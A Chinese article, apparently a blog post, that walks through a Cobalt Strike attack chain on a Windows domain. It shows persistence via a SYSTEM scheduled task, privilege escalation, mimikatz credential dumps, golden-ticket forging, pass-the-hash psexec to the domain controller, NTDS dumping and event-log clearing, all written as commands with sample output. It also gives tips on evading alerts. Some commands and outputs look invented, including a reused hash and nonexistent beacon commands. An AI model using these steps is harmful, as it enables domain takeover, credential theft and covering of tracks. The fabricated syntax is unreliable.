当前位置: 首页 > news >正文

CS上线后权限维持与横向移动实战:从User到System的完整攻击链复盘

CS权限提升与横向移动实战:从普通用户到域控的完整攻击链

在真实的内部网络渗透测试中,获得初始立足点往往只是开始。如何从普通用户权限逐步提升至系统权限,并最终控制整个域环境,才是考验渗透测试人员技术深度的关键环节。本文将基于Cobalt Strike工具链,还原一个完整的攻击路径,涵盖权限维持、凭证窃取、横向移动等核心环节。

1. 初始权限获取与维持

当目标主机通过钓鱼邮件或漏洞利用执行我们的Beacon payload后,通常会以普通用户权限上线。此时的首要任务是建立持久化访问并尝试权限提升。

1.1 持久化技术选择

在Windows系统中,常见的持久化方法包括:

  • 计划任务:通过schtasks创建定期执行的计划任务
  • 服务创建:安装自启动服务
  • 注册表启动项:修改HKCU\Software\Microsoft\Windows\CurrentVersion\Run
  • WMI事件订阅:利用WMI的永久事件消费者
# 通过计划任务实现持久化示例 schtasks /create /tn "UpdateChecker" /tr "C:\temp\payload.exe" /sc minute /mo 30 /ru SYSTEM

提示:在实战中建议结合目标环境选择隐蔽性高的方法,避免触发安全告警。

1.2 权限提升路径分析

从User到System的常见提权路径:

提权方法适用条件成功率隐蔽性
UAC绕过管理员账户中高
服务漏洞服务配置不当
Token窃取存在高权限进程
DLL劫持路径控制权

在CS中,可以通过elevate命令尝试多种提权模块:

beacon> elevate svc-exe [*] Tasked beacon to spawn a session as SYSTEM via service [+] host called home, session elevated via service

2. 凭证收集与利用

获得高权限后,下一步是收集域内凭证信息,为横向移动做准备。

2.1 本地凭证提取技术

  • Mimikatz:提取明文密码、Kerberos票据
  • LSASS内存转储:通过sekurlsa::logonpasswords获取
  • SAM数据库提取:通过reg save获取hash
beacon> mimikatz sekurlsa::logonpasswords [*] Tasked beacon to run mimikatz's sekurlsa::logonpasswords command [+] host called home, sent: 327680 bytes [+] received output: Authentication Id : 0 ; 308124 (00000000:0004b31c) Session : Interactive from 1 User Name : Admin Domain : CORP Logon Server : DC01 Logon Time : 2023/5/15 10:23:45 SID : S-1-5-21-1388762127-329068152-682003330-1103 msv : [00000003] Primary * Username : Admin * Domain : CORP * NTLM : 329153f560eb329c0e1deea55e88a1e9 * SHA1 : 18821b89d2a0f5a2c8b3d5e5e6e7f8a9

2.2 黄金票据攻击

当获取到krbtgt账户的NTLM hash后,可以伪造黄金票据:

  1. 获取域SID:whoami /all
  2. 获取krbtgt hash:lsadump::dcsync /user:krbtgt
  3. 生成黄金票据:
beacon> mimikatz kerberos::golden /user:Administrator /domain:corp.com /sid:S-1-5-21-1388762127-329068152-682003330 /krbtgt:329153f560eb329c0e1deea55e88a1e9 /ptt

3. 内网横向移动策略

3.1 网络拓扑探测

使用CS的portscannetview模块快速绘制内网地图:

beacon> net view /domain [*] Tasked beacon to run net view /domain [+] host called home, sent: 104 bytes [+] received output: Domain -------- CORP TEST beacon> portscan 10.0.0.0/24 445,3389,5985 5 smb [*] Tasked beacon to scan 256 hosts on ports 445,3389,5985 [+] host called home, sent: 1048576 bytes

3.2 横向移动技术对比

技术所需凭证网络要求日志记录检测难度
WMI管理员135/445详细
PSRemoting管理员5985/5986详细
SMBExecHash445有限
计划任务管理员445详细

3.3 基于SMB的横向移动

利用获取的hash通过psexec方式横向移动:

beacon> psexec DC01 smb Administrator 329153f560eb329c0e1deea55e88a1e9 [*] Tasked beacon to run psexec on DC01 via smb [+] host called home, sent: 2048 bytes [+] established link to child beacon: 10.0.0.10

4. 域控接管与痕迹清理

4.1 域控持久化技术

  • DCShadow攻击:修改域控属性
  • SID History注入:添加域管理员SID
  • 组策略修改:部署后门
beacon> dcsync_ntds /server:DC01 /csv:hashes.csv [*] Tasked beacon to dump NTDS.dit from DC01 [+] host called home, sent: 1048576 bytes [+] received 5242880 bytes of NTDS data

4.2 操作痕迹清理

  • 清除事件日志:clearev
  • 删除计划任务:schtasks /delete
  • 恢复服务配置:sc config
  • 清除WMI持久化:
beacon> wmi event remove "UpdateChecker" [*] Tasked beacon to remove WMI event subscription UpdateChecker [+] host called home, sent: 1024 bytes

在实际渗透测试中,每个步骤都需要根据目标环境的安全防护水平进行调整。高安全性的网络可能需要组合多种技术,并采用更隐蔽的时间间隔进行操作。

http://www.zskr.cn/news/1439242.html

相关文章:

  • 别再只用TileMap了!手把手教你用Godot4.2打造一个轻量级可交互的2D网格系统
  • BitCPM-CANN技术深度解析:首个基于华为昇腾NPU的端到端三值训练系统
  • 别再死磕OpenAI CLIP了!EVA-CLIP保姆级复现教程(含LAMB优化器与Flash Attention配置)
  • AI时代下的Go语言编译过程学习
  • Nacos 2.x 本地联调踩坑记:解决 gRPC 端口偏移导致的 ‘UNAVAILABLE: io exception‘
  • T3Q_SOLAR_SLERP_v1.0-openmind完全指南:如何快速上手这款强大的文本生成模型
  • 10个惊艳案例展示:xinsir-controlnet-openpose-sdxl-1.0如何掌控人物姿态生成
  • 从模型导入到坐标分析:SuperMap iDesktopX处理超图CBD北京示例数据的避坑指南
  • 如何对系统进行监控?
  • 用Unity UGUI VerticalLayoutGroup 和递归算法,5步搞定可无限扩展的树形菜单
  • 微积分(六)——导数:为什么本质是“变化率”?
  • 如何永久保存微信聊天记录?3步实现数据自主管理的完整指南
  • 72个故事构建技术趋势认知:从AI到边缘计算的网状学习框架
  • 【C/C++】IO流
  • 如何将gte-base集成到生产环境?完整部署指南与最佳实践
  • 【北京朝阳区】房屋修缮指南:防水补漏、瓷砖空鼓与白蚁消杀全解析 - 鲁顺
  • 监控画面总有噪点?深入浅出聊聊海思/安霸芯片里的3D降噪技术到底是怎么工作的
  • Deliberate AI绘图模型深度解析:从v1到v6的进化之路与核心功能揭秘
  • DeBERTa-v3-large_boolq完整指南:从安装到推理的终极教程
  • Umi-OCR双层PDF转换技术深度解析与实战指南
  • GPT-2 Large与其他GPT模型对比:如何选择最适合你项目的语言模型
  • RoBERTa-large-sst2开发者指南:5个自定义训练与模型优化技巧
  • 深度解析OpCore-Simplify:自动化OpenCore EFI配置的技术实现
  • 告别采样负电压!用差分运放给MCU设计一个‘零压线’信号调理电路
  • [开源] 医疗大模型知识盲区检测与可视化系统:面向临床决策者的AI能力边界认知工具
  • Obsidian美化实用指南:轻松打造高效又美观的知识管理界面
  • cross-en-fr-it-roberta-sentence-transformer vs 传统模型:4大语言场景下的性能对比分析
  • 5分钟完成黑苹果EFI配置:OpCore-Simplify智能自动化工具完整指南
  • 别再只用WebRTC了!结合FFmpeg实现实时美颜滤镜与视频录制(C++实战)
  • 如何高效获取中小学电子教材:智慧教育平台解析工具的完整指南